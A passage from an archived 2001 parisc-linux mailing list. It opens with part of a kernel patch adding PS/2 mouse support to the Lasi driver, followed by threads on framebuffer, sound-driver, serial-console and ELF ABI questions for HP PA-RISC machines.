-#define	LASI_CTRL_CLKDIR	0x80	/* clock line direct control */
-
-/* Status register bits */
-
-#define LASI_STAT_RBNE		0x01
-#define LASI_STAT_TBNE		0x02
-#define LASI_STAT_TERR		0x04
-#define LASI_STAT_PERR		0x08
-#define LASI_STAT_CMPINTR	0x10
-#define LASI_STAT_DATSHD	0x40
-#define LASI_STAT_CLKSHD	0x80
+#ifdef CONFIG_PSMOUSE
+/* mouse section */
+static unsigned char mouse_reply_expected;
+static struct aux_queue *queue;	/* Mouse data buffer. */
+static int aux_count;
+static spinlock_t kbd_controller_lock = SPIN_LOCK_UNLOCKED;
+#endif
 
 
 static inline u8 read_input(void *hpa)
@@ -94,7 +78,6 @@
 static void write_output(u8 val, void *hpa)
 {
 	int wait = 0;
-
 	while (read_status(hpa) & LASI_STAT_TBNE) {
 		wait++;
 		if (wait>10000) {
@@ -111,12 +94,19 @@
 	return;
 }
 
+/* This function is the PA-RISC adaptation of i386 source */
+
+static void aux_write_ack(u8 val)
+{
+      write_output(val,lasikbd_hpa+LASI_OFFSET);
+}
+
 
 static void lasikbd_leds(unsigned char leds)
 {
-	write_output(KBD_SETLEDS, lasikbd_hpa);
+	write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
 	write_output(leds, lasikbd_hpa);
-	write_output(KBD_SCANENABLE, lasikbd_hpa);
+	write_output(KBD_CMD_ENABLE, lasikbd_hpa);
 #if 0
 	printk("%s(%d)\n", __FUNCTION__, leds); 
 #endif
@@ -149,7 +139,7 @@
 }
 #endif 
 
-int lasi_ps2_reset(void *hpa)
+int lasi_ps2_reset(void *hpa,int id)
 {
 	u8 control;
 
@@ -161,6 +151,14 @@
 	control = read_control(hpa);
 	write_control(control | LASI_CTRL_ENBL, hpa);
 
+	/* initializes the leds at the default state */
+	if (id==0){
+	   write_output(KBD_CMD_SET_LEDS, hpa);
+	   write_output(0, hpa);
+	   write_output(KBD_CMD_ENABLE, hpa);
+	}
+ 
+
 	return 0;
 }
 
@@ -171,34 +169,248 @@
 	++inited;
 }
 
-static u8 handle_lasikbd_event(void *hpa)
+
+/* Greatly inspired by pc_keyb.c */
+
+/*
+ * Wait for keyboard controller input buffer to drain.
+ *
+ * Don't use 'jiffies' so that we don't depend on
+ * interrupts..
+ *
+ * Quote from PS/2 System Reference Manual:
+ *
+ * "Address hex 0060 and address hex 0064 should be written only when
+ * the input-buffer-full bit and output-buffer-full bit in the
+ * Controller Status register are set 0."
+ */
+#ifdef CONFIG_PSMOUSE
+
+static int fasync_aux(int fd, struct file *filp, int on)
+{
+   
+	int retval;
+	
+	retval = fasync_helper(fd, filp, on, &queue->fasync);
+	if (retval < 0)
+		return retval;
+	
+	return 0;
+}
+
+
+static inline void handle_mouse_scancode(unsigned char scancode)
+{
+
+	if (mouse_reply_expected) {
+		if (scancode == AUX_REPLY_ACK) {
+			mouse_reply_expected--;
+			return;
+		}
+		mouse_reply_expected = 0;
+	}
+	else if(scancode == AUX_RECONNECT){
+		queue->head = queue->tail = 0;  /* Flush input queue */
+		return;
+	}
+
+	add_mouse_randomness(scancode);
+	if (aux_count) {
+		int head = queue->head;
+				
+		queue->buf[head] = scancode;
+		head = (head + 1) & (AUX_BUF_SIZE-1);
+		
+		if (head != queue->tail) {
+			queue->head = head;
+			kill_fasync(&queue->fasync, SIGIO, POLL_IN);
+			wake_up_interruptible(&queue->proc_list);
+		}
+	}
+}
+
+static inline int queue_empty(void)
+{
+	return queue->head == queue->tail;
+}
+
+static unsigned char get_from_queue(void)
 {
-	u8 status;
-	extern void handle_at_scancode(int); /* in drivers/char/keyb_at.c */
+	unsigned char result;
+	unsigned long flags;
 
-	while ((status = read_status(hpa)) & LASI_STAT_RBNE) {
-		u8 scancode;
+	spin_lock_irqsave(&kbd_controller_lock, flags);
+	result = queue->buf[queue->tail];
+	queue->tail = (queue->tail + 1) & (AUX_BUF_SIZE-1);
+	spin_unlock_irqrestore(&kbd_controller_lock, flags);
+	return result;
+}
+
+
+/*
+ * Write to the aux device.
+ */
 
-		scancode = read_input(hpa);
+static ssize_t write_aux(struct file * file, const char * buffer,
+			 size_t count, loff_t *ppos)
+{
+	ssize_t retval = 0;
+
+	if (count) {
+		ssize_t written = 0;
 
-		if (inited)
-			handle_at_scancode(scancode);
+		if (count > 32)
+			count = 32; /* Limit to 32 bytes. */
+		do {
+			char c;
+			get_user(c, buffer++);
+			written++;
+		} while (--count);
+		retval = -EIO;
+		if (written) {
+			retval = written;
+			file->f_dentry->d_inode->i_mtime = CURRENT_TIME;
+		}
 	}
 
-	tasklet_schedule(&keyboard_tasklet);
+	return retval;
+}
 
-	return status;
+
+
+static ssize_t read_aux(struct file * file, char * buffer,
+			size_t count, loff_t *ppos)
+{
+	DECLARE_WAITQUEUE(wait, current);
+	ssize_t i = count;
+	unsigned char c;
+
+	if (queue_empty()) {
+		if (file->f_flags & O_NONBLOCK)
+			return -EAGAIN;
+		add_wait_queue(&queue->proc_list, &wait);
+repeat:
+		set_current_state(TASK_INTERRUPTIBLE);
+		if (queue_empty() && !signal_pending(current)) {
+			schedule();
+			goto repeat;
+		}
+		current->state = TASK_RUNNING;
+		remove_wait_queue(&queue->proc_list, &wait);
+	}
+	while (i > 0 && !queue_empty()) {
+		c = get_from_queue();
+		put_user(c, buffer++);
+		i--;
+	}
+	if (count-i) {
+		file->f_dentry->d_inode->i_atime = CURRENT_TIME;
+		return count-i;
+	}
+	if (signal_pending(current))
+		return -ERESTARTSYS;
+	return 0;
 }
+
+
+static int open_aux(struct inode * inode, struct file * file)
+{
+	if (aux_count++) {
+	return 0;
+	}
+	queue->head = queue->tail = 0;		/* Flush input queue */
+	aux_count =1;
+	
+	aux_write_ack(AUX_ENABLE_DEV); /* Enable aux device */
+	
+	return 0;
+}
+
+
+/* No kernel lock held - fine */
+static unsigned int aux_poll(struct file *file, poll_table * wait)
+{
+
+	poll_wait(file, &queue->proc_list, wait);
+	if (!queue_empty())
+		return POLLIN | POLLRDNORM;
+	return 0;
+}
+
+
+static int release_aux(struct inode * inode, struct file * file)
+{
+	lock_kernel();
+	fasync_aux(-1, file, 0);
+	if (--aux_count) {
+	   unlock_kernel();
+		return 0;
+	}
+	unlock_kernel();
+	return 0;
+}
+#endif
+
+
+static u8 handle_lasikbd_event(void *hpa)
+{
+        u8 status_keyb,status_mouse,scancode,id;
+        extern void handle_at_scancode(int); /* in drivers/char/keyb_at.c */
+        
+        /* Mask to get the base address of the PS/2 controller */
+
+        id = gsc_readb(hpa+LASI_ID) & 0x0f;
+        
+        if (id==1) 
+           hpa=hpa-LASI_OFFSET; 
+        lasikbd_hpa=hpa;
+        
+
+        status_keyb = read_status(hpa);
+        status_mouse = read_status(hpa+LASI_OFFSET);
+
+        while ((status_keyb|status_mouse) & LASI_STAT_RBNE){
+           
+           while (status_keyb & LASI_STAT_RBNE) {
+	      
+              scancode = read_input(hpa);
+	      
+	      if (inited)
+	      {
+		 handle_at_scancode(scancode); 
+              }
+	      
+	      status_keyb =read_status(hpa);
+           }
+	   
+#ifdef CONFIG_PSMOUSE
+           while (status_mouse & LASI_STAT_RBNE) {
+             
+	      scancode = read_input(hpa+LASI_OFFSET);
+	      handle_mouse_scancode(scancode);
+              status_mouse=read_status(hpa+LASI_OFFSET);
+	   }
+           status_mouse=read_status(hpa+LASI_OFFSET);
+#endif
+           status_keyb =read_status(hpa);
+        }
+
+        tasklet_schedule(&keyboard_tasklet);
+        return (status_keyb|status_mouse);
+}
+
+
 	
 extern struct pt_regs *kbd_pt_regs;
 
 static void lasikbd_interrupt(int irq, void *dev, struct pt_regs *regs)
 {
-	lasikbd_hpa = dev; /* save "hpa" for lasikbd_leds() */
+   
+	lasips2_hpa = dev; /* save "hpa" for lasikbd_leds() */
 
 	kbd_pt_regs = regs;
 
-	handle_lasikbd_event(lasikbd_hpa);
+	handle_lasikbd_event(lasips2_hpa);
 }
 
 
@@ -230,6 +442,23 @@
 #endif
 };
 
+#ifdef CONFIG_PSMOUSE
+struct file_operations psaux_fops = {
+	read:		read_aux,
+	write:		write_aux,
+	poll:		aux_poll,
+	open:		open_aux,
+	release:	release_aux,
+	fasync:		fasync_aux,
+};
+
+static struct miscdevice psaux_mouse = {
+	PSMOUSE_MINOR, "psaux", &psaux_fops
+};
+#endif
+
+
+
 static int __init
 lasi_ps2_register(struct hp_device *d, struct pa_iodc_driver *dri)
 {
@@ -247,21 +476,27 @@
 		name = "psaux"; /* "mouse" */;
 		break;
 	default:
-		printk(KERN_WARNING "unknown PS/2 port %d found!  Get famous now by reporting this to parisc-linux@parisc-linux.org!\n", id);
+		printk(KERN_WARNING "unknown PS/2 port %d found!  Get famous now by reporting this to parisc-linux@thepuffingroup.com!\n", id);
 		name = "unknown";
 	}
 
-	if (id==0) {
-		printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
-	} else {
-		printk("Support for Lasi PS/2-%s not yet available !\n", name); /* FIXME */
-	}
+	if (id==0)
+	    printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
+#ifdef CONFIG_PSMOUSE
+	else 
+	   if (id==1)
+	      printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
+#endif
+	   else
+	      printk("Support for Lasi PS/2-%s not yet available !\n", name); /* FIXME */
 	    
 	if (id==0) {
 		int err;
 		unsigned int irq;
-
-		if ((err = lasi_ps2_reset(hpa)))
+		
+		lasikbd_hpa=hpa;
+		
+		if ((err = lasi_ps2_reset(hpa,id)))
 			printk("%s: lasi_ps2_reset() failed!\n", __FUNCTION__);
 
 		irq = busdevice_alloc_irq(d);
@@ -270,11 +505,39 @@
 		    
 		request_irq(irq, lasikbd_interrupt, 0, name, hpa);
 
-		request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name);
+		request_region((unsigned long)hpa, LASI_STATUS + 4, name);
 		
 		register_kbd_ops(&gsc_ps2_kbd_ops);
 	}
 
+#ifdef CONFIG_PSMOUSE
+	if (id==1){
+		int err;
+		unsigned int irq;
+
+		if ((err = lasi_ps2_reset(hpa,id)))
+			printk("%s: lasi_ps2_reset() failed!\n", __FUNCTION__);
+
+		irq = busdevice_alloc_irq(d);
+		if (!irq)
+		    return -ENODEV;
+		    
+		request_irq(irq, lasikbd_interrupt, 0, name, hpa);
+
+		request_region((unsigned long)hpa, LASI_STATUS + 4, name);
+		
+		misc_register(&psaux_mouse);
+		queue = (struct aux_queue *) kmalloc(sizeof(*queue), GFP_KERNEL);
+		memset(queue, 0, sizeof(*queue));
+		queue->head = queue->tail = 0;
+		init_waitqueue_head(&queue->proc_list);
+
+		aux_write_ack(AUX_ENABLE_DEV);
+		
+	}
+#endif	   
+
+
 	return 0;
 }
 
@@ -290,3 +553,9 @@
 	register_driver(lasi_psaux_drivers_for);
 	return 0;
 }
+
+
+
+
+
+
diff -Nru linuxbf/drivers/gsc/lasi.c linux/drivers/gsc/lasi.c
--- linuxbf/drivers/gsc/lasi.c	Fri May 11 02:09:10 2001
+++ linux/drivers/gsc/lasi.c	Fri May 11 02:10:57 2001
@@ -48,7 +48,8 @@
 	case 0x5000:	irq = 26; break; /* RS232 */
 	case 0x6000:	irq = 22; break; /* SCSI */
 	case 0x7000:	irq = 23; break; /* LAN */
-	case 0x8000:	irq =  5; break; /* PS/2 Keyboard and Mouse */
+	case 0x8000:	irq =  5; break; /* PS/2 Keyboard */
+	case 0x8100:	irq =  5; break; /* PS/2 Mouse */
 	case 0xA000:	irq = 11; break; /* Floppy Disk Controller */
 	default: 	irq = -1; break; /* unknown */
 	}

--------------FE55E5BB576DF120F532BB7E--





From - Thu Nov 08 21:17:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Fri, 11 May 2001 12:01:52 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20010511100231.E525B482A@dsl2.external.hp.com>
References: <3AF878EA.3F043FD7@fischlustig.de> <20010509201918.22252482A@dsl2.external.hp.com> <873dacx0q1.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620113 19284 80.91.229.3 (22 Nov 2014 01:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 11 04:02:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E525B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 May 2001 04:02:31 -0600 (MDT)
Original-Received: (qmail 1193 invoked by uid 0); 11 May 2001 10:02:21 -0000
Original-Received: from pd90403da.dip.t-dialin.net (HELO there) (217.4.3.218)
  by mail.gmx.net (mail04) with SMTP; 11 May 2001 10:02:21 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <873dacx0q1.fsf@rover.gag.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11031

[CC'd parisc-linux list]

On Friday 11 May 2001 01:07, Bdale Garbee wrote:
> deller@gmx.de (Helge Deller) writes:
> > I had hacked up a stifb driver for my 715/64 (Artist GFX card)
>
> Any idea if that's the same video system that's in the 715/80?  

Yes.
Xavier Debacker from the ESIEE Team told me, that this driver worked on his 
715/80.

Greetings,
Helge





From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Fri, 11 May 2001 13:34:04 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <3AFBCE2C.3961BC48@esiee.fr>
References: <3AF878EA.3F043FD7@fischlustig.de> <3AF8FF5E.B9442562@esiee.fr> <3AF9B4F9.17956B05@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620113 19286 80.91.229.3 (22 Nov 2014 01:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:13 +0000 (UTC)
Cc: puffin@esiee.net
To: Andi <andi@fischlustig.de>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 11 05:26:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 837E3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 May 2001 05:26:41 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id A4FE6D15D2; Fri, 11 May 2001 13:26:06 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11032

Andi wrote:

Hum, I tried the driver on a 712/60. Seems ok for me.
I found neither madplay nor saydate packaged. Could you
tell me the exact location (or package name) where
you found them?

About mpg123, how did you compile it? When I did it 3 months ago
I had to do some modifications on. I'll be very interested to know how
you did.
 
About saytime, let say it's logical, harmony_audio_poll isn't yet
implemented.
Upgrade of harmony is on the whishlist, and I hope I'll have time to
complete it.

Btw, what are the frequencies of you mp3?
More over, could you test .au files with `cat`?

Thank for your feedback,
Matthieu
> 
> hi,
> 
> my machine is an hp 712/60 with 128MB RAM and 2MB Video RAM
> 
> Programs I tested were:
> 
> madplay (from debian package) with any mp3 - strange sound and pauses as I
> described
> mpg123 (self compliled) with any mp3            - same problem
> saydate - same problem
> saytime -  "harmony_audio_poll : Invalid Poll" printed multiple times on the
> console, no sound output at all
> 
> > Hi andi,
> > Thank you for giving feedbacks about harmony, even bad.
> > Could you please tell me what is your computer model,
> > type of player and type of sound file you use.
> > If you have a 715/old, never mind, it doesn't work.
> > If not, i'll tried to find what happend...
> >
> > regards,
> > Matthieu
> >
> > --
> > Matthieu Delahaye
> > ESIEE Team
> > http://mkhppa1.esiee.fr/

-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial PDC console on 712/601
Date: Fri, 11 May 2001 13:57:57 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <3AFBD3C5.3FE0E2CD@esiee.fr>
References: <3AF5AF65.C685635C@gmx.at> <3AF68199.8CCD7FD2@esiee.fr> <3AF69393.F9C5C6E1@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620114 19289 80.91.229.3 (22 Nov 2014 01:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	puufin@esiee.net
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 11 05:50:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09E6C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 May 2001 05:50:21 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id BB6F0D15D2; Fri, 11 May 2001 13:49:58 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11033

I have to recognize I have absolutely no idea. 

Regards,
Matthieu



Christoph Plattner wrote:
> 
> Very intersting the method of using the ISL commands to switch
> over. And I think I also can switch back using this method.
> Is this correct ?
> 
> But what is this "dagger" card.
> Where does the machine store the information ?
> Flash/EEPROM/battery backuped SRAM ?
> Can I do a "backup" copy (I have an universial chip programmer
> at home, and other tools !) ?
> Can I make such a "dagger" card (whatever it is ?
> 
> Please give me some hints, before I "risk" the change !
> 
> With friendly regards
>         Christoph Plattner
> 
> ------------------------------------------------------------------
> private:  christoph.plattner@gmx.at
> company:  christoph.plattner@alcatel.at
> 
> Matthieu Delahaye wrote:
> >
> > Christoph Plattner wrote:
> > >
> > > Hello HP hackers !
> > >
> > > I have a problem setting the PDC console path to serial.
> > > How can be done this on the HP 712/60.
> > > On my 9000/720 I can use the `path' command on the PDC
> > > console (admin mode). But on the 712/60, the `path' command
> > > only sets the boot paths (primary, secondary), but not the
> > > console.
> > >
> > > Is it possible to use the 712/60 with serial console only
> > > (no display and keyboard) ?
> > > How can I set serial console ?
> > >
> > > With friendly regards
> > >         Christoph Plattner
> > >
> > > --
> > > -------------------------------------------------------------------------
> > > private:        christoph.plattner@gmx.at
> > > company:        christoph.plattner@alcatel.at
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> >
> > >From Pa-RISC/Linux Boot Howto:
> >
> > 3.1.2.3.3. How can I change the boot console to serial on a 712?
> >
> >    Unfortunately, you can't. Although 712s are configured for in-house
> > HP development to use serial console, this configuration
> >    isn't supported in the field. You have to use a graphics console for
> > 712s.
> >
> > http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/
> > parisc-linux/parisc-linux-boot/
> >
> > But it seems you can, after dangerous manipulations:
> >
> > http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html
> >
> > regards,
> > Matthieu
> >
> > --
> > Matthieu Delahaye
> > ESIEE Team
> > http://mkhppa1.esiee.fr/
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> ------------------------------------------------------------------
> private:  christoph.plattner@gmx.at
> company:  christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial PDC console on 712/601
Date: Fri, 11 May 2001 16:47:56 +0200
Organization: AAA
Lines: 122
Approved: news@gmane.org
Message-ID: <3AFBFB9C.203568CC@alcatel.at>
References: <3AF5AF65.C685635C@gmx.at> <3AF68199.8CCD7FD2@esiee.fr> <3AF69393.F9C5C6E1@alcatel.at> <3AFBD3C5.3FE0E2CD@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620114 19291 80.91.229.3 (22 Nov 2014 01:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	puufin@esiee.net
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 11 08:48:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A86C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 May 2001 08:48:16 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id QAA29224;
	Fri, 11 May 2001 16:47:56 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11034

Ok,

all in all really thank you for the information.

With friendly regards
	Christoph P.

Matthieu Delahaye wrote:
> 
> I have to recognize I have absolutely no idea.
> 
> Regards,
> Matthieu
> 
> Christoph Plattner wrote:
> >
> > Very intersting the method of using the ISL commands to switch
> > over. And I think I also can switch back using this method.
> > Is this correct ?
> >
> > But what is this "dagger" card.
> > Where does the machine store the information ?
> > Flash/EEPROM/battery backuped SRAM ?
> > Can I do a "backup" copy (I have an universial chip programmer
> > at home, and other tools !) ?
> > Can I make such a "dagger" card (whatever it is ?
> >
> > Please give me some hints, before I "risk" the change !
> >
> > With friendly regards
> >         Christoph Plattner
> >
> > ------------------------------------------------------------------
> > private:  christoph.plattner@gmx.at
> > company:  christoph.plattner@alcatel.at
> >
> > Matthieu Delahaye wrote:
> > >
> > > Christoph Plattner wrote:
> > > >
> > > > Hello HP hackers !
> > > >
> > > > I have a problem setting the PDC console path to serial.
> > > > How can be done this on the HP 712/60.
> > > > On my 9000/720 I can use the `path' command on the PDC
> > > > console (admin mode). But on the 712/60, the `path' command
> > > > only sets the boot paths (primary, secondary), but not the
> > > > console.
> > > >
> > > > Is it possible to use the 712/60 with serial console only
> > > > (no display and keyboard) ?
> > > > How can I set serial console ?
> > > >
> > > > With friendly regards
> > > >         Christoph Plattner
> > > >
> > > > --
> > > > -------------------------------------------------------------------------
> > > > private:        christoph.plattner@gmx.at
> > > > company:        christoph.plattner@alcatel.at
> > > >
> > > > _______________________________________________
> > > > parisc-linux mailing list
> > > > parisc-linux@lists.parisc-linux.org
> > > > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > >
> > > >From Pa-RISC/Linux Boot Howto:
> > >
> > > 3.1.2.3.3. How can I change the boot console to serial on a 712?
> > >
> > >    Unfortunately, you can't. Although 712s are configured for in-house
> > > HP development to use serial console, this configuration
> > >    isn't supported in the field. You have to use a graphics console for
> > > 712s.
> > >
> > > http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/
> > > parisc-linux/parisc-linux-boot/
> > >
> > > But it seems you can, after dangerous manipulations:
> > >
> > > http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html
> > >
> > > regards,
> > > Matthieu
> > >
> > > --
> > > Matthieu Delahaye
> > > ESIEE Team
> > > http://mkhppa1.esiee.fr/
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> >
> > ------------------------------------------------------------------
> > private:  christoph.plattner@gmx.at
> > company:  christoph.plattner@alcatel.at
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> --
> Matthieu Delahaye
> ESIEE Team
> http://mkhppa1.esiee.fr/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@sunsite.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFOSABI_LINUX
Date: 12 May 2001 18:01:21 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <d3ae4id0a6.fsf@lxplus015.cern.ch>
References: <20010501213458.Y6063@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620114 19294 80.91.229.3 (22 Nov 2014 01:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@ldl.fc.hp.com (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 12 10:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D25C482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 May 2001 10:01:31 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id SAA19549;
	Sat, 12 May 2001 18:01:26 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id SAA01166;
	Sat, 12 May 2001 18:01:21 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: willy@ldl.fc.hp.com's message of "Tue, 1 May 2001 21:34:58 -0600"
Original-Lines: 19
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:11035

>>>>> "Matthew" == Matthew Wilcox <willy@ldl.fc.hp.com> writes:

Matthew>  * Change binutils to produce binaries without ELFOSABI_LINUX
Matthew> set.  This implies rebuilding every debian package we've
Matthew> built so far -- over 1100 source packages.  This means we'd
Matthew> miss our deadline of shipping at the end of May.

Matthew> One subversive developer suggested a third alternative --
Matthew> that we think up & implement an extension to the ABI so we
Matthew> have to use ELFOSABI_LINUX :-)

The easy solution is to change binutils, keep the double check for
ELFOSABI_LINUX and ELFOSABI_SYSV in the hppa glibc for a while and
nuke it when everybody has updated. The important bit is to not put a
toolchain out there that produces the wrong binaries.

I've used similar tricks on the ia64 in the past.

Jes




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
